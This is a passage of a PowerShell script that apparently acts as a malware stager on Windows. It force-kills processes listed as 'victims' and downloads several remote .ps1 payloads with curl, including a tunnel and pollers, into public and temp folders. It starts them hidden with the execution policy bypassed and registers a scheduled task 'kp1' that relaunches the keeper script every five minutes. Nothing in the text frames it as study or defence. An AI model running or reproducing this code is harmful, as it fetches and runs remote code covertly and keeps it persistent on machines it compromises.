foreach($p in $victims){
  $cl=[string]$p.CommandLine; if($cl.Length -gt 150){ $cl=$cl.Substring(0,150) }
  W ('KILL|'+$p.ProcessId+'|'+$p.Name+'|'+$cl)
  try{ Stop-Process -Id $p.ProcessId -Force }catch{}
}
Start-Sleep -Seconds 2

# 2 refresh payloads
& $curl -s -m 25 -o 'C:\Windows\Temp\PStun4.ps1' "$sh/PStun4.ps1"
& $curl -s -m 25 -o 'C:\Users\Public\keeper.ps1' "$sh/keeper.ps1"
& $curl -s -m 25 -o 'C:\Users\Public\upoll.ps1' "$sh/upoll.ps1"
& $curl -s -m 25 -o 'C:\Users\Public\svc_poll2.ps1' "$sh/svc_poll2.ps1"
W ('DL|PStun4=' + (Test-Path 'C:\Windows\Temp\PStun4.ps1') + ';keeper=' + (Test-Path 'C:\Users\Public\keeper.ps1') + ';upoll=' + (Test-Path 'C:\Users\Public\upoll.ps1') + ';svc=' + (Test-Path 'C:\Users\Public\svc_poll2.ps1'))

# 3 start keeper then pollers
Start-Process -FilePath $ps -ArgumentList '-NoP','-W','Hidden','-EP','Bypass','-File','C:\Users\Public\keeper.ps1' -WindowStyle Hidden
Start-Sleep -Seconds 2
Start-Process -FilePath $ps -ArgumentList '-NoP','-W','Hidden','-EP','Bypass','-File','C:\Users\Public\upoll.ps1' -WindowStyle Hidden
Start-Process -FilePath $ps -ArgumentList '-NoP','-W','Hidden','-EP','Bypass','-File','C:\Users\Public\svc_poll2.ps1' -WindowStyle Hidden

# 4 persistent task
& cmd.exe /c 'schtasks /create /tn kp1 /tr "powershell -NoP -W Hidden -EP Bypass -File C:\Users\Public\keeper.ps1" /sc minute /mo 5 /f' 2>&1 | ForEach-Object { W ('SCH|'+$_) }